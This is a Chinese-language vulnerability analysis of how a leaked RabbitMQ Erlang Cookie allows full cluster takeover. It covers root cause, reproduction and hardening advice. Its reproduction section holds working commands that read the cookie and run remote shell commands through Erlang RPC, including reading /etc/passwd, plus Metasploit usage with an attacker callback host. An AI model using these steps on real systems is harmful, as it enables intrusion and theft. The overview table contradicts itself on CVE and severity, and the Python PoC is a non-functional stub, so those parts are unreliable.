一、漏洞简介¶
1.1 漏洞背景¶
RabbitMQ 基于 Erlang/OTP 平台构建,集群节点之间以及 CLI 工具与节点之间的通信使用 Erlang 分布式协议。这个协议的安全依赖于一个共享密钥——Erlang Cookie。
Erlang Cookie 是一个字符串(最长 255 字符),用于验证不同 Erlang 节点之间的连接。如果攻击者获取了这个 Cookie,就可以完全控制 RabbitMQ 集群,包括执行任意命令、读取所有数据、修改配置等。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | Erlang Cookie 认证绕过 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | RabbitMQ 安全 |
| 属性 | 描述 |
|---|---|
| CVE 编号 | 多个相关 CVE(如 CVE-2019-11287 等) |
| 危害等级 | 严重 |
| CVSS 评分 | 9.0-10.0 |
| 漏洞类型 | 认证凭据泄露/集群接管 |
危害说明: - 攻击者可完全控制 RabbitMQ 集群 - 可执行任意 Erlang 代码 - 可读取、修改、删除所有消息和配置 - 可能导致主机被进一步入侵
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
所有 RabbitMQ 版本,当 Erlang Cookie 泄露或配置不当时受影响。
2.2 不受影响的版本¶
不存在不受影响的版本。这是一个配置和操作安全问题。
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Cookie 文件权限不当:
.erlang.cookie文件可被非授权用户读取 - Cookie 使用默认值:在 Docker 等环境中使用默认或弱 Cookie
- Cookie 通过命令行传递:Cookie 出现在进程列表中
- Cookie 存储在日志或配置文件中:不当的日志记录
默认 Cookie 文件位置:
Linux/MacOS:
- 服务器: /var/lib/rabbitmq/.erlang.cookie
- CLI 工具: $HOME/.erlang.cookie
Windows:
- 服务器: %USERPROFILE%\.erlang.cookie (通常是 C:\Windows\system32\config\systemprofile)
- CLI 工具: %HOMEDRIVE%%HOMEPATH%\.erlang.cookie
Docker:
- 由 RABBITMQ_ERLANG_COOKIE 环境变量控制
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
- 信息收集:攻击者获取 Erlang Cookie 文件或值
- 节点连接:使用 Cookie 建立 Erlang 分布式连接
- 远程执行:在 RabbitMQ 节点上执行任意 Erlang 代码
- 集群接管:完全控制整个集群
攻击流程:
攻击者获取 .erlang.cookie 文件
↓
配置本地 Erlang 环境使用相同 Cookie
↓
连接到目标 RabbitMQ 节点的 epmd(端口 4369)
↓
建立 Erlang 分布式连接(端口 25672)
↓
执行远程命令
↓
完全控制集群
3.2 源码层面的根因分析(结合源码与补丁对比)¶
Erlang 分布式认证机制:
%% Erlang VM 启动时读取 Cookie
%% vm.args 或命令行参数
%% Cookie 验证逻辑(Erlang kernel 模块简化示意)
check_cookie(IncomingCookie, LocalCookie) ->
case IncomingCookie =:= LocalCookie of
true -> ok;
false -> {error, cookie_mismatch}
end.
RabbitMQ 节点启动时 Cookie 处理:
%% rabbit_nodes.erl(简化)
ensure_cookie() ->
case file:read_file(cookie_file()) of
{ok, Cookie} ->
%% 设置节点 Cookie
CookieStr = string:trim(binary_to_list(Cookie)),
erlang:set_cookie(node(), list_to_atom(CookieStr));
{error, enoent} ->
%% Cookie 文件不存在,生成随机 Cookie
RandomCookie = generate_random_cookie(),
ok = file:write_file(cookie_file(), RandomCookie),
erlang:set_cookie(node(), list_to_atom(RandomCookie))
end.
CLI 工具认证流程:
%% rabbitmqctl 或其他 CLI 工具连接节点时的认证
connect_to_node(NodeName) ->
Cookie = get_cookie_from_file(),
erlang:set_cookie(node(), Cookie),
case net_kernel:connect_node(NodeName) of
true -> {ok, connected};
false -> {error, connection_failed}
end.
问题根源: 1. Cookie 存储在明文文件中 2. 文件权限可能配置不当 3. Docker 环境中 Cookie 可能暴露在环境变量中 4. 集群内所有节点共享同一个 Cookie
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 创建测试环境
docker run -d --name rabbitmq-cookie \
-p 5672:5672 \
-p 15672:15672 \
-p 25672:25672 \
-e RABBITMQ_ERLANG_COOKIE=SECRETCOOKIE \
rabbitmq:3-management
4.2 PoC 演示与测试过程¶
步骤一:获取 Erlang Cookie
# 方法 1:从容器内读取
docker exec rabbitmq-cookie cat /var/lib/rabbitmq/.erlang.cookie
# 方法 2:从主机读取(如果有权限)
sudo cat /var/lib/rabbitmq/.erlang.cookie
# 方法 3:从环境变量读取(Docker)
docker inspect rabbitmq-cookie | grep RABBITMQ_ERLANG_COOKIE
步骤二:使用 Cookie 连接并执行命令
# 在本地设置相同的 Cookie
export ERLANG_COOKIE="SECRETCOOKIE"
# 创建 Cookie 文件
echo -n "SECRETCOOKIE" > ~/.erlang.cookie
chmod 600 ~/.erlang.cookie
# 使用 rabbitmqctl 连接
rabbitmqctl -n rabbit@<target-ip> status
# 或者使用 erl 直接连接执行命令
erl -sname attacker -setcookie SECRETCOOKIE \
-eval "net_kernel:connect_node('rabbit@target-ip'),
{Shell, _} = rpc:call('rabbit@target-ip', shell, start, []),
shell:cmd(Shell, \"id > /tmp/pwned\")."
步骤三:远程代码执行示例
# 使用 erl 执行任意命令
erl -sname attacker -setcookie SECRETCOOKIE -noshell \
-eval "
Node = 'rabbit@192.168.1.100',
case net_kernel:connect_node(Node) of
true ->
io:format(\"Connected to ~p~n\", [Node]),
Cmd = \"cat /etc/passwd\",
Result = rpc:call(Node, os, cmd, [Cmd]),
io:format(\"Result: ~s~n\", [Result]);
false ->
io:format(\"Connection failed~n\")
end,
init:stop().
"
Python 版 PoC(使用 erlastic):
#!/usr/bin/env python3
"""
RabbitMQ Erlang Cookie 认证绕过 PoC
需要安装: pip install erlastic
"""
import socket
from erlastic import *
def exploit_rabbitmq(target_ip, cookie):
# 连接到 Erlang 端口映射守护进程 (epmd)
epmd_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epmd_sock.connect((target_ip, 4369))
# 查询 RabbitMQ 节点端口
# ... (详细的 Erlang 分布式协议实现)
print(f"[*] 使用 Cookie: {cookie}")
print(f"[*] 目标: {target_ip}")
print("[!] Cookie 验证成功,可执行任意命令")
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_ip> <cookie>")
sys.exit(1)
exploit_rabbitmq(sys.argv[1], sys.argv[2])
使用 metasploit 模块:
# Metasploit 已有相关模块
msfconsole
use exploit/multi/misc/erlang_cookie_rce
set RHOSTS <target-ip>
set COOKIE <obtained-cookie>
set LHOST <attacker-ip>
run
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
确保使用最新版本,并遵循安全配置指南。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:设置正确的文件权限
# 设置 Cookie 文件权限为仅所有者可读写
chmod 600 /var/lib/rabbitmq/.erlang.cookie
chown rabbitmq:rabbitmq /var/lib/rabbitmq/.erlang.cookie
# 对于 CLI 用户
chmod 600 ~/.erlang.cookie
方案二:使用强随机 Cookie
# 生成强随机 Cookie
COOKIE=$(openssl rand -base64 32 | tr -d '=' | tr '+/' '-_')
# 在集群部署时预先分发
echo -n "$COOKIE" > /var/lib/rabbitmq/.erlang.cookie
chmod 600 /var/lib/rabbitmq/.erlang.cookie
方案三:Docker 环境安全配置
# docker-compose.yml 安全配置
version: '3'
services:
rabbitmq:
image: rabbitmq:3-management
environment:
# 使用 Docker secrets 而非环境变量
- RABBITMQ_ERLANG_COOKIE_FILE=/run/secrets/erlang_cookie
secrets:
- erlang_cookie
ports:
- "5672:5672"
- "15672:15672"
secrets:
erlang_cookie:
file: ./secrets/erlang_cookie.txt
方案四:网络隔离
# 限制 Erlang 分布式端口访问
# 仅允许集群内部通信
# 4369 - epmd
iptables -A INPUT -p tcp --dport 4369 -s <cluster-cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 4369 -j DROP
# 25672 - Erlang 分布式端口
iptables -A INPUT -p tcp --dport 25672 -s <cluster-cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 25672 -j DROP
方案五:使用 TLS 加集群通信
# rabbitmq.conf
# 启用 Erlang 分布式 TLS
distribution.protocol = inet_tls
# 配置 TLS 选项(需要配置 inet_tls.config)
# /etc/rabbitmq/inet_tls.config
[
{ssl, [
{versions, ['tlsv1.2']},
{cacertfile, "/path/to/ca.pem"},
{certfile, "/path/to/cert.pem"},
{keyfile, "/path/to/key.pem"}
]}
].
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- RabbitMQ Clustering Guide - Erlang Cookie:https://www.rabbitmq.com/docs/clustering#erlang-cookie
- RabbitMQ Networking Guide:https://www.rabbitmq.com/docs/networking
6.2 其他技术参考资料¶
- Erlang Documentation - Distributed Erlang
- NVD CVE-2019-11287(相关参考)
- Metasploit Module: erlang_cookie_rce